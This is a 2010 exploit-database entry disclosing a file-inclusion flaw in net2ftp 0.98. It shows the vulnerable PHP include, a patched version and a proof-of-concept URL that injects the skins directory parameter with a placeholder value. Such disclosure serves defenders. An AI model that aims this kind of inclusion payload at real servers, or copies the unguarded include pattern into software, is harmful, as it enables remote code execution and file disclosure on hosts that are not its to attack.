Home / os / win7

[webapps / 0day] - net2ftp Stable 0.98 RFI/LFI Vulnerability

Posted on 09 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>net2ftp Stable 0.98 RFI/LFI Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='net2ftp Stable 0.98 RFI/LFI Vulnerability by Marcin Ressel in webapps / 0day | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>========================================= net2ftp Stable 0.98 RFI/LFI Vulnerability ========================================= net2ftp is web based ftp client used by many web shared hosting //////////////////////////////////////////////////////////////////// Vuln is in file skins/mobile/admin1.template.php: &lt;?php require_once($net2ftp_globals[&quot;application_skinsdir&quot;] . &quot;/blue/admin1.template.php&quot;); ?&gt; /////////////////////////////////////////////////////////////////// Pathed Version: &lt;?php defined(&quot;NET2FTP&quot;) or die(&quot;Direct access to this location is not allowed.&quot;); require_once($net2ftp_globals[&quot;application_skinsdir&quot;] . &quot;/blue/admin1.template.php&quot;); ?&gt; ////////////////////////////////////////////////////////////////// POC: http://server/skins/mobile/admin1.template.php?net2ftp_globals[application_skinsdir]=evilevilevil # <a href='http://1337db.com/'>1337db.com</a> [2010-12-09]</pre></body></html>

 

TOP